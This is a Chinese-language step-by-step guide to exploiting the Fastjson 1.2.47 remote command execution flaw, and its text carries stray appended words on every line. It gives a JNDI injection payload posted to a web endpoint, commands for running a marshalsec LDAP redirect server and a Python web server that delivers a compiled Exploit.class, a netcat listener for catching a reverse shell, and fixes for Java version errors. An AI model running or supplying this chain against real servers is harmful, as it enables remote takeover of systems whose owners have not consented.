Fastjson <= 1.2.47 遠程命令執行漏洞利用工具及方法,以及避開坑點java
如下操做均在Ubuntu 18下親測可用,openjdk須要切換到8,且使用8的javacpython
> java -version openjdk versin "1.8.0_222" > javac -version javac 1.8.0_222
POST /note/submit/ param={'id':29384,'content':'Hello','type':'string'}
準備一臺服務器監聽流量git
nc -lvvp 7777
發送Payload,將IP改成監聽服務器IPgithub
POST /note/submit/ param={"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://ip:7777/Exploit","autoCommit":true}}}
若是監聽服務器有流量,能夠繼續下一步web
將marshalsec-0.0.3-SNAPSHOT-all.jar文件和Exploit.java放在同一目錄下json
在當前目錄下運行LDAP服務,修改IP爲當前這臺服務器的IP服務器
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://IP/#Exploit
在當前目錄下運行Web服務工具
python3 -m http.server 80 或者 python -m SimpleHTTPServer 80
修改Exploit.java中的反彈IP和端口(準備接收反彈SHELL的服務器IP和監聽端口)測試
使用javac編譯Exploit.java,生成Exploit.class文件(注意:javac最好與目標服務器接近,不然目標服務器沒法解析class文件,會報錯)this
javac Exploit.java
回顧一下,如今目錄應該有三個文件
marshalsec-0.0.3-SNAPSHOT-all.jar Exploit.java Exploit.class
服務器正在開啓LDAP和Web
LDAP Server:Listening on 0.0.0.0:1389 Web Server:Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
一個nc正在準備接收反彈回來的SHELL
nc -lvvp 7777
修改ip爲正在運行LDAP和Web服務的服務器IP
POST /note/submit param={"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://ip:1389/Exploit","autoCommit":true}}}
接下來若是沒有任何報錯的話,LDAP將會把請求Redirect到Web服務,Fastjson將會下載Exploit.class,並解析運行
你的LDAP服務和Web服務都會收到請求記錄,若是沒有問題,你的nc也會收到反彈回來的SHELL
當javac版本和目標服務器差太多,會報一個這樣獲得錯誤,因此須要使用1.8的javac來編譯Exploit.java
Caused by: java.lang.UnsupportedClassVersionError: Exploit has been compiled by a more recent version of the Java Runtime (class file version 55.0), this version of the Java Runtime only recognizes class file versions up to 52.0
當運行LDAP的服務器java版本太高,會沒法運行LDAP服務,雖然顯示正在Listening,可是Fastjson的JNDI會報錯,顯示沒法獲取到資源,因此要使用java 1.8(openjdk 8)來運行LDAP服務